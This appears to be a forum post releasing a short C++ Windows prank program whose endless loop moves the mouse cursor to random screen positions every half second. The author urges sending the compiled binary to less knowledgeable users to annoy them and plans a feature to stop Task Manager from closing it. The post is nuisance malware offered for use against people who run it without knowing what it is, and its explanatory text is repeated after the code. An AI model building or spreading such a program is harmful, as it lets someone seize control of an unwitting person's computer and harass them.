[Release] Crazy mouse (Shitty program)
Nothing marvels..Really it's not. But if you compile it to a binary and send it to nutjobs (People who are less knowledgeable with windows) you can surely piss them off for good

Additional information:
Compiler (i used): Wx dev C++
If you by any chances where "that" dumb to run your build: press CTRL + ALT + DELETE - select the taskmanager and make sure to use the arrow keys to navigate around and close the application.
Future feature: I'll probably add some "Anti-tskmg/ctrl+alt+delete"
PS...don't leave stupid comments.
EDIT:
I see i forgot to properly make the random generation of numbers....I'll add the proper code now.Also added code comments.

Code:
#include <stdlib.h>
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
int Tx = GetSystemMetrics(SM_CXSCREEN); // Gets the screen X and Y to a int variable
int Ty = GetSystemMetrics(SM_CYSCREEN);
srand(time(0)); // Seed for the algorithm, using time from your PC
while(true){ // A never ending loop
int temp; // TEMP and TEMP1 are used to store temporay numeric values ;)
int temp1;
int xr = (rand()%Tx)+1; // this where the magic happens. It generates from a range of 1 to max lenght which is the X/Y cor
int yr = (rand()%Ty)+1;
temp = xr /6; // rest is self explanetory
temp1 = yr /4;
temp = temp1 + temp;
xr = xr + temp;
yr = yr + temp;
Sleep(500); // pauses the execution of code for 0.5 seconds
SetCursorPos(xr,yr); // positions the mouse after the calculated and generated X and Y cordinates
}
cin.get();
return EXIT_SUCCESS;
}
Compiler (i used): Wx dev C++
If you by any chances where "that" dumb to run your build: press CTRL + ALT + DELETE - select the taskmanager and make sure to use the arrow keys to navigate around and close the application.
Future feature: I'll probably add some "Anti-tskmg/ctrl+alt+delete"
PS...don't leave stupid comments.
EDIT:
I see i forgot to properly make the random generation of numbers....I'll add the proper code now.Also added code comments.



